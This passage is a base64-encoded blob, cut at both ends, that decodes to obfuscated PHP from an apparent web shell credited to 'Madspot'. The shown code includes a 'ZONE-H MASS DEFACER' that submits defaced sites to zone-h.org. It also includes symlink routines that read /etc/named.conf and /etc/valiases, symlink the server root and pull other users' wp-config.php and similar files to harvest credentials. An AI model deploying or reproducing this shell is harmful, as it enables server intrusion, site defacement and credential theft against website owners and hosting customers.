SLCB0cjM1KTsNCgkkazNicjEgPSBjM3JsXzV4NWMoJGspOw0KCWMzcmxfY2wyczUoJGspOw0KCXI1dDNybiAkazNicjE7DQp9DQpmM25jdDQybiBtMWR6Mm41aCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz48YzVudDVyPjxmMm50IGMybDJyPXI1ZD5QSFAgQ1VSTCBOT1QgRVhJVDwvZjJudD48L2M1bnQ1cj48L3ByNT4iOw0KICAgIH0NCiAgICA1Y2gyICI8ZDR2IGNsMXNzPWg1MWQ1cj48YzVudDVyPjxicj4iOw0KICAgIDVjaDIgJzxobz48c3Axbj58Wk9ORS1IIE1BU1MgREVGQUNFUiB8PC9zcDFuPjwvaG8+DQogICAgPGYycm0gIDJuUzNibTR0PSJnKG4zbGwsbjNsbCx0aDRzLmQ1ZjFjNXIudjFsMzUsdGg0cy5oMWNrbTJkNS52MWwzNSx0aDRzLmQybTE0bi52MWwzNSk7cjV0M3JuIGYxbHM1OyIgPg0KICAgIDxzcDFuPnwgTjJ0NGY0NXIgfDwvc3Axbj48YnI+DQo8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT1kNWYxYzVyIHM0ejU9InUwIiB2MWwzNT0iQXR0MWNrNXIiIC8+PGJyPg0KPHM1bDVjdCBuMW01PWgxY2ttMmQ1Pg0KPDJwdDQybiA+LS0tLS0tLS1TRUxFQ1QtLS0tLS0tLTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNiI+a24yd24gdjNsbjVyMWI0bDR0eSAoNC41LiAzbnAxdGNoNWQgc3lzdDVtKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYSIgPjNuZDRzY2wyczVkIChuNXcpIHYzbG41cjFiNGw0dHk8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9Im8iID5jMm5mNGczcjF0NDJuIC8gMWRtNG4uIG00c3QxazU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InUiID5icjN0NSBmMnJjNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5zMmM0MWwgNW5nNG41NXI0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImUiID5XNWIgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPlc1YiBTNXJ2NXIgNXh0NXJuMWwgbTJkM2w1IDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOCIgPk0xNGwgUzVydjVyIDRudHIzczQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iOSIgPkZUUCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2MCIgPlNTSCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NiIgPlQ1bG41dCBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2YSIgPlJQQyBTNXJ2NXIgNG50cjNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2byIgPlNoMXI1cyBtNHNjMm5mNGczcjF0NDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2dSIgPk90aDVyIFM1cnY1ciA0bnRyM3M0Mm48LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjZpIiA+U1FMIEluajVjdDQybjwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNmUiID5VUkwgUDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2NyIgPkY0bDUgSW5jbDNzNDJuPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSI2OCIgPk90aDVyIFc1YiBBcHBsNGMxdDQybiBiM2c8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjY5IiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBicjN0NWYycmM0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImEwIiA+UjVtMnQ1IDFkbTRuNHN0cjF0NHY1IHAxbjVsIDFjYzVzcyBwMXNzdzJyZCBnMzVzczRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTYiID5SNW0ydDUgMWRtNG40c3RyMXQ0djUgcDFuNWwgMWNjNXNzIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWEiID5BdHQxY2sgMWcxNG5zdCAxZG00bjRzdHIxdDJyKHAxc3N3MnJkIHN0NTFsNG5nL3NuNGZmNG5nKTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYW8iID5BY2M1c3MgY3I1ZDVudDQxbHMgdGhyMjNnaCBNMW4gSW4gdGg1IE00ZGRsNSAxdHQxY2s8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImF1IiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgZzM1c3M0bmc8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImFpIiA+UjVtMnQ1IHM1cnY0YzUgcDFzc3cycmQgYnIzdDVmMnJjNTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYWUiID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBGNHI1dzFsbDwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTciID5SNXIyM3Q0bmcgMWZ0NXIgMXR0MWNrNG5nIHRoNSBSMjN0NXI8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImE4IiA+RE5TIDF0dDFjayB0aHIyM2doIHMyYzQxbCA1bmc0bjU1cjRuZzwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iYTkiID5ETlMgMXR0MWNrIHRocjIzZ2ggYzFjaDUgcDI0czJuNG5nPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJvMCIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjxzNWw1Y3QgID4NCjwycHQ0Mm4gPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9IjYiID5INWguLi5qM3N0IGYyciBmM24hPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJhIiA+UjV2NW5nNSAxZzE0bnN0IHRoMXQgdzViczR0NTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0ibyIgPlAybDR0NGMxbCByNTFzMm5zPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJ1IiA+QXMgMSBjaDFsbDVuZzU8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImkiID5JIGozc3QgdzFudCB0MiBiNSB0aDUgYjVzdCBkNWYxYzVyPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJlIiA+UDF0cjQydDRzbTwvMnB0NDJuPg0KPDJwdDQybiB2MWwzNT0iNyIgPk4ydCAxdjE0bDFibDU8LzJwdDQybj4NCjwvczVsNWN0Pjxicj4NCjx0NXh0MXI1MSBuMW01PWQybTE0biBjMmxzPSJpMCIgcjJ3cz0iNmkiPkw0c3QgT2YgRDJtMTRuczwvdDV4dDFyNTE+DQo8YnI+DQo8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iPj4iIC8+PC9mMnJtPic7DQo0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmIDRzczV0KCRfUE9TVFsncGEnXSkpDQp7DQogICAgJGgxY2s1ciA9JF9QT1NUWydwNiddOw0KICAgICRtNXRoMmQgPSRfUE9TVFsncGEnXTsNCiAgICAkbjVkNW4gPSJOMnQgMXYxNGwxYmw1IjsNCiAgICAkczR0NSA9JF9QT1NUWydwbyddOw0KICAgJDQgPSAwOw0KICAgJHM0dDVzID0gNXhwbDJkNSgiXG4iLCAkczR0NSk7DQogICA1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiI7DQoJd2g0bDUoJDQgPCBjMjNudCgkczR0NXMpKSANCgl7DQoJNGYoczNic3RyKCRzNHQ1c1skNF0sIDAsIHUpICE9ICJodHRwIikgDQoJew0KCQkJJHM0dDVzWyQ0XSA9ICJodHRwOi8vIi4kczR0NXNbJDRdOw0KCX0NCglaMm41SCgiaHR0cDovL3oybjUtaC4ycmcvbjJ0NGZ5L3M0bmdsNSIsICRoMWNrNXIsICRtNXRoMmQsICRuNWQ1biwgJHM0dDVzWyQ0XSk7DQoJNWNoMiAiUzR0NSA6ICIuJHM0dDVzWyQ0XS4iIEQ1ZjFjNWQgITxicj4iOw0KCSsrJDQ7DQoJfQ0KICAgICANCiAgICAiUzVuZDRuZyBTNHQ1cyBUMiBaMm41LUggSDFzIEI1NW4gQzJtcGw1dDVkIFMzY2M1c3NmM2xseSAhISA8L3ByNT4iOw0KfQ0KNWNoMiAiPC9kNHY+IjsNCm0xZGYyMnQ1cigpOw0KICAgIA0KfQ0KZjNuY3Q0Mm4gbTFkc3AydCgpDQp7DQogICAgbTFkaDUxZCgpOw0KICAgIDVjaDIgIjxkNHYgY2wxc3M9aDUxZDVyPiI7DQogICAgNWNoMiAiPHByNT4NCiAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHxgLTpfDQogICwtLS0tLi4uLl9fX18gICAgICAgICAgICB8ICAgIGArLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogKCAgICAgICAgICAgICBgYGBgLS0tLS4uLi58X19fICAgfA0KICBcICAgICBfICAgICAgICAgICAgICAgICAgICAgIGBgYGAtLS0tLi4uLl9fX18NCiAgIFwgICAgXykgIEMyZDVkIEJ5OiBJa3IxbSBBbDQgICAgICAgICAgICAgICAgYGBgLS0tLi5fICAgICAgICAgICAgICAgICAgICAgICANCiAgICBcICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCANCiAgKWAuXCAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWAuICAgKWhoDQotJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGAtJyAgIGANCiAgIE0xZHNwMnQgNHMgMSBUNTFtIDJmIHByMmY1c3M0Mm4xbCBFdGg0YzFsIEgxY2s1cnMgRnIybSBQMWs0c3Qxbi4NCiAgIFc1IGgxdjUgWTUxcnMgMmYgIEV4cDVyNDVuYzUgNG4gIFM1YzNyNHR5LCBQNW41dHIxdDQybiAmIEMyZDRuZyANCiAgIEFuZCBjMW4gQnI1MWsgMW5kIFM1YzNyNS4NCiAgIA0KICAgVjVyczQybiA2LjANCiAgIA0KICAgQzJudDFjdCA6IGh0dHA6Ly93d3cubTFkc3AydC5uNXQNCiAgIA0KICAgNGYgeTIzIGYyM25kIGIzZyBjMm50MWN0IDIzciB0NTFtIA0KICAgDQogICANCg0KDQogICAgICAgICAgICAgIC49Jyc9LiAgICAgICAgICAgICANCiAgICAgICAgICAgICAvIF8gIF8gXA0KICAgICAgICAgICAgfCAgZCAgYiAgfA0KICAgICAgICAgICAgXCAgIC9cICAgLyANCiAgICAgICAgICAgLC8nLT1cLz0tJ1wsDQogICAgICAgICAgLyAvICAgICAgICBcIFwgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICB8IC8gWjFoNGQgICAgXCB8ICAgIE0xZHNwMnQgRDRnNHQxbCBTNWMzcjR0eSBUNTFtDQogICAgICAgICBcLyBcIFIxc2g1NWQvIFwvICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAgICAgICAgICAgJy4gICAgLicNCiAgICAgICAgICAgICBffGB+fmB8Xw0KICAgICAgICAgICAgIC98XCAgL3xcICAgIA0KCQ0KICAgICAgIC4tIDxPPiAtLiAgICAgICAgLi09PT09LS4gICAgICAsLS0tLS0tLS4gICAgICAuLT08Pj0tLg0KICAgL18tXCcnJy8tX1wgICAgICAvIC8gJycgXCBcICAgICB8LC0tLS0tLnwgICAgIC9fXy0tLS1fX1wNCiAgfC8gIDIpICgyICBcfCAgICB8IHwgJykoJyB8IHwgICAvLCctLS0tLScuXCAgIHwvICgnKSgnKSBcfA0KICAgXCAgIC5fLiAgIC8gICAgICBcIFwgICAgLyAvICAge18vKCcpICgnKVxffSAgIFwgICBfXyAgIC8NCiAgICw+LV8sLCxfLTwuICAgICAgID4nPWpmPSc8ICAgICBgLiAgIF8gICAuJyAgICAsJy0tX18tLScuDQogLyBXMXExci5LaDFuICBcICAgIC8gICAgICAgIFwgICAgIC8nLV9fXy0nXCAgICAvICAgIDp8ICAgIFwNCihfKSAgICAgLiAgICAgKF8pICAvICBJa3IxbSAgIFwgICAvIE0tVXNtMW4gXCAgKF8pICAgOnwgICAoXykNCiBcXy0tLS0tJ19fX18tLS8gIChfKSAgQWw0ICAgKF8pIChfKV9fX19fX18oXykgICB8X19fOnxfX19ffA0KICBcX19fX19fX19fX18vICAgICB8X19fX19fX198ICAgICBcX19fX19fXy8gICAgIHwgQWZyMXM0MWJ8DQoNCg0KCQ0KICANCiAgDQogICAgPC9wcjU+PC9kNHY+IjsNCiAgICBtMWRmMjJ0NXIoKTsNCiAgICANCiAgICB9DQogICAgDQpmM25jdDQybiBtMWRzeW1sNG5rKCkNCnsNCiAgICBtMWRoNTFkKCk7DQogICAgDQokSUlJSUlJSUlJSUlsID0gJ2h0dHA6Ly8nLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJElJSUlJSUlJSUlJNj01eHBsMmQ1KCcvJywkSUlJSUlJSUlJSUlsICk7DQokSUlJSUlJSUlJSUlsID1zdHJfcjVwbDFjNSgkSUlJSUlJSUlJSUk2W2MyM250KCRJSUlJSUlJSUlJSTYpLTZdLCcnLCRJSUlJSUlJSUlJSWwgKTsgIA0KICAgIA0KICAgIA0KICAgIA0KDQogICA1Y2gyICc8ZDR2IGNsMXNzPWg1MWQ1cj48c2NyNHB0PnA2Xz1wYV89cG9fPSIiOzwvc2NyNHB0Pjxicj48YzVudDVyPjxobz48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ3N5bWw0bmtcJyxuM2xsLFwndzViczR0NVwnLG4zbGwpIj58IEQybTE0bnMgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLFwnd2gybDVcJykiPnwgV2gybDUgUzVydjVyIFN5bWw0bmsgfCA8LzE+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdzeW1sNG5rXCcsbjNsbCxuM2xsLG4zbGwsXCdjMm5mNGdcJykiPnwgQzJuZjRnIFBIUCBzeW1sNG5rIHwgPC8xPjwvaG8+PC9jNW50NXI+JzsNCiAgICANCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J3c1YnM0dDUnKQ0KICAgIHsNCiAgICAgICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgICAgICAkZDBtMTRucyA9IEBmNGw1KCIvNXRjL24xbTVkLmMybmYiKTsNCiAgICAgICAgNGYoISRkMG0xNG5zKXsgNWNoMiAiPHByNSBjbDFzcz1tbDYgc3R5bDU9J20xcmc0bi10MnA6aXB4Jz5DMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyB9DQoNCiANCg0KNWNoMiAiPHQxYmw1IDFsNGduPWM1bnQ1ciBjbDFzcz0nbTE0bicgIGIycmQ1cj0wICA+DQoNCjx0ciBiZ2MybDJyPVI1ZD48dGQ+QzIzbnQ8L3RkPjx0ZD5kMm0xNG5zPC90ZD48dGQ+M3M1cnM8L3RkPjwvdHI+IjsNCiRjMjNudD02Ow0KZjJyNTFjaCgkZDBtMTRucyAxcyAkZDBtMTRuKXsNCg0KNGYoQDVyNWc0KCJ6Mm41IiwkZDBtMTRuKSl7DQoNCnByNWdfbTF0Y2hfMWxsKCcjejJuNSAiKC4qKSIjJywgJGQwbTE0biwgJGQybTE0bnMpOw0KDQpmbDNzaCgpOw0KDQo0ZihzdHJsNW4odHI0bSgkZDJtMTRuc1s2XVswXSkpID4gYSl7DQoNCiQzczVyID0gcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigiLzV0Yy92MWw0MXM1cy8iLiRkMm0xNG5zWzZdWzBdKSk7DQoNCjVjaDIgIjx0cj48dGQ+Ii4kYzIzbnQuIjwvdGQ+PHRkPjwxIGhyNWY9aHR0cDovL3d3dy4iLiRkMm0xNG5zWzZdWzBdLiIvPiIuJGQybTE0bnNbNl1bMF0uIjwvMT48L3RkPjx0ZD4iLiQzczVyWyduMW01J10uIjwvdGQ+PC90cj4iOyBmbDNzaCgpOw0KJGMyM250Kys7DQp9fX0NCjVjaDIgIjwvYzVudDVyPjwvdDFibDU+IjsgDQogfQ0KIA0KIDRmKDRzczV0KCRfUE9TVFsncGEnXSkgJiYgJF9QT1NUWydwYSddPT0nd2gybDUnKQ0KIHsNCiAgICANCiAgICANCiAgICBAczV0X3Q0bTVfbDRtNHQoMCk7DQogICAgDQogICAgNWNoMiAiPGM1bnQ1cj4iOw0KICAgIA0KICANCiAgICAgICAgDQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KZndyNHQ1KCRJSUlJSUlJSUlJNkkgLCRJSUlJSUlJSUlJbDYpOw0KQHN5bWw0bmsoJy8nLCdzeW0vcjIydCcpOw0KJElJSUlJSUlJSWxJbCA9IGIxczVuMW01KCdfRklMRV8nKTsNCiAgICANCiAgICANCiRJSUlJSUlJSUlsbEkgPSBAZjRsNSgnLzV0Yy9uMW01ZC5jMm5mJyk7DQo0ZighJElJSUlJSUlJSWxsSSkNCnsNCjVjaDIgIjxwcjUgY2wxc3M9bWw2IHN0eWw1PSdtMXJnNG4tdDJwOmlweCc+IyBDMW50IDFjYzVzcyB0aDRzIGY0bDUgMm4gczVydjVyIC0+IFsgLzV0Yy9uMW01ZC5jMm5mIF08L3ByNT48L2M1bnQ1cj4iOyANCn0NCjVsczUNCnsNCjVjaDIgIjx0MWJsNSAxbDRnbj0nYzVudDVyJyB3NGR0aD0ndTAlJyBjbDFzcz0nbTE0bic+PHRkPkQybTE0bnM8L3RkPjx0ZD5VczVyczwvdGQ+PHRkPnN5bWw0bmsgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUk2STZsID0gJElJSUlJSUlJSTZJNlsnbjFtNSddIDsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSTZJNmwgPSAkSUlJSUlJSUlJbDY2WzZdWzBdOw0KJElJSUlJSUlJNkk2NiA9ICdcLjRyJzsNCiRJSUlJSUlJSTZsSUkgPSAnXC40bCc7DQo0ZiAoQDVyNWc0KCIkSUlJSUlJSUk2STY2IiwkSUlJSUlJSUlJbDY2WzZdWzBdKSAyciBANXI1ZzQoIiRJSUlJSUlJSTZsSUkiLCRJSUlJSUlJSUlsNjZbNl1bMF0pICkNCnsNCiRJSUlJSUlJSTZJNmwgPSAiPGQ0diBzdHlsNT0nIGMybDJyOiAjRkYwMDAwIDsgdDV4dC1zaDFkMnc6IDBweCAwcHggNnB4IHI1ZDsgJz4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJzwvZDR2Pic7DQp9DQo1Y2gyICINCjx0cj4NCg0KPHRkPg0KPDEgdDFyZzV0PSdfYmwxbmsnIGhyNWY9aHR0cDovL3d3dy4iLiRJSUlJSUlJSUlsNjZbNl1bMF0uJy8+Jy4kSUlJSUlJSUk2STZsLicgPC8xPg0KPC90ZD4NCg0KPHRkPg0KJy4kSUlJSUlJSUlJNkk2WyduMW01J10uIg0KPC90ZD4NCg0KPHRkPg0KPDEgaHI1Zj0nc3ltL3IyMnQvaDJtNS8iLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4iL3AzYmw0Y19odG1sJyB0MXJnNXQ9J19ibDFuayc+c3ltbDRuayA8LzE+DQo8L3RkPg0KDQoNCjwvdHI+IjsNCmZsM3NoKCk7DQp9DQp9DQp9DQp9DQogICAgDQo1Y2gyICI8L2M1bnQ1cj48L3QxYmw1PiI7ICAgIA0KICAgIA0KIH0NCiANCiANCiANCiA0Zig0c3M1dCgkX1BPU1RbJ3BvJ10pICYmICRfUE9TVFsncG8nXT09J2MybmY0ZycpDQogDQogDQogew0KICA1Y2gyICI8YzVudDVyPiI7DQpAbWtkNHIoJ3N5bScsMDc3Nyk7DQokSUlJSUlJSUlJSWw2ICA9ICJPcHQ0Mm5zIDFsbCBcbiBENHI1Y3QycnlJbmQ1eCBTM3guaHRtbCBcbiBBZGRUeXA1IHQ1eHQvcGwxNG4gLnBocCBcbiBBZGRIMW5kbDVyIHM1cnY1ci1wMXJzNWQgLnBocCBcbiAgQWRkVHlwNSB0NXh0L3BsMTRuIC5odG1sIFxuIEFkZEgxbmRsNXIgdHh0IC5odG1sIFxuIFI1cTM0cjUgTjJuNSBcbiBTMXQ0c2Z5IEFueSI7DQokSUlJSUlJSUlJSTZJID1AZjJwNW4gKCdzeW0vLmh0MWNjNXNzJywndycpOw0KQGZ3cjR0NSgkSUlJSUlJSUlJSTZJICwkSUlJSUlJSUlJSWw2KTsNCkBzeW1sNG5rKCcvJywnc3ltL3IyMnQnKTsNCiRJSUlJSUlJSUlsSWwgPSBiMXM1bjFtNSgnX0ZJTEVfJyk7DQogIA0KICAgDQogICAkSUlJSUlJSUlJbGxJID0gQGY0bDUoJy81dGMvbjFtNWQuYzJuZicpOw0KNGYoISRJSUlJSUlJSUlsbEkpDQp7DQo1Y2gyICI8cHI1IGNsMXNzPW1sNiBzdHlsNT0nbTFyZzRuLXQycDppcHgnPiMgQzFudCAxY2M1c3MgdGg0cyBmNGw1IDJuIHM1cnY1ciAtPiBbIC81dGMvbjFtNWQuYzJuZiBdPC9wcjU+PC9jNW50NXI+IjsNCn0NCjVsczUNCnsNCjVjaDIgIg0KPHQxYmw1IDFsNGduPSdjNW50NXInIHc0ZHRoPSd1MCUnIGNsMXNzPSdtMTRuJyA+PHRkPiBEMm0xNG5zIDwvdGQ+PHRkPiBTY3I0cHQgPC90ZD4iOw0KZjJyNTFjaCgkSUlJSUlJSUlJbGxJIDFzICRJSUlJSUlJSUlsbDYpew0KNGYoQDVyNWc0KCd6Mm41JywkSUlJSUlJSUlJbGw2KSl7DQpwcjVnX20xdGNoXzFsbCgnI3oybjUgIiguKikiIycsJElJSUlJSUlJSWxsNiwkSUlJSUlJSUlJbDY2KTsNCmZsM3NoKCk7DQo0ZihzdHJsNW4odHI0bSgkSUlJSUlJSUlJbDY2WzZdWzBdKSkgPmEpew0KJElJSUlJSUlJSTZJNiA9IHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJy81dGMvdjFsNDFzNXMvJy4kSUlJSUlJSUlJbDY2WzZdWzBdKSk7DQokSUlJSUlJSUlJNmw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlJNjZJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2bDYpOw0KJElJSUlJSUlJSTY2bD0kSUlJSUlJSUlJNjZJWzBdOw0KJElJSUlJSUlJSTY2Nj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2JsMmcvd3AtYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsSUlJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSUk2NjYpOw0KJElJSUlJSUlJbElJbD0kSUlJSUlJSUlsSUlJWzBdOw0KJElJSUlJSUlJbElJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJbEk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElJNik7DQokSUlJSUlJSUlsSWxsPSRJSUlJSUlJSWxJbElbMF07DQokSUlJSUlJSUlsSWw2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvajIybWwxL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWxJNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbElsNik7DQokSUlJSUlJSUlsSTZsPSRJSUlJSUlJSWxJNklbMF07DQokSUlJSUlJSUlsSTY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvNG5jbDNkNXMvYzJuZjRnLnBocCc7DQokSUlJSUlJSUlsbElJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWxJNjYpOw0KJElJSUlJSUlJbGxJbD0kSUlJSUlJSUlsbElJWzBdOw0KJElJSUlJSUlJbGxJNj0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL3ZiLzRuY2wzZDVzL2MybmY0Zy5waHAnOw0KJElJSUlJSUlJbGxsST1nNXRfaDUxZDVycygkSUlJSUlJSUlsbEk2KTsNCiRJSUlJSUlJSWxsbGw9JElJSUlJSUlJbGxsSVswXTsNCiRJSUlJSUlJSWxsbDY9JElJSUlJSUlJSUlJbC4nL3N5bS9yMjJ0L2gybTUvJy4kSUlJSUlJSUlJNkk2WyduMW01J10uJy9wM2JsNGNfaHRtbC9mMnIzbS80bmNsM2Q1cy9jMm5mNGcucGhwJzsNCiRJSUlJSUlJSWxsNkk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGxsNik7DQokSUlJSUlJSUlsbDZsPSRJSUlJSUlJSWxsNklbMF07DQokSUlJSUlJSUlsbDY2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLidwM2JsNGNfaHRtbC9jbDQ1bnRzL2MybmY0ZzNyMXQ0Mm4ucGhwJzsNCiRJSUlJSUlJSWw2SUk9ZzV0X2g1MWQ1cnMoJElJSUlJSUlJbGw2Nik7DQokSUlJSUlJSUlsNklsPSRJSUlJSUlJSWw2SUlbMF07DQokSUlJSUlJSUlsNkk2PSRJSUlJSUlJSUlJSWwuJy9zeW0vcjIydC9oMm01LycuJElJSUlJSUlJSTZJNlsnbjFtNSddLicvcDNibDRjX2h0bWwvczNwcDJydC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNklJPWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2STYpOw0KJElJSUlJSUlJbDZsST0kSUlJSUlJSUlsNklJWzBdOw0KJElJSUlJSUlJbDZsbD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS4nL3AzYmw0Y19odG1sL2NsNDVudC9jMm5mNGczcjF0NDJuLnBocCc7DQokSUlJSUlJSUlsNmw2PWc1dF9oNTFkNXJzKCRJSUlJSUlJSWw2bGwpOw0KJElJSUlJSUlJbDY2ST0kSUlJSUlJSUlsNmw2WzBdOw0KJElJSUlJSUlJbDY2bD0kSUlJSUlJSUlJSUlsLicvc3ltL3IyMnQvaDJtNS8nLiRJSUlJSUlJSUk2STZbJ24xbTUnXS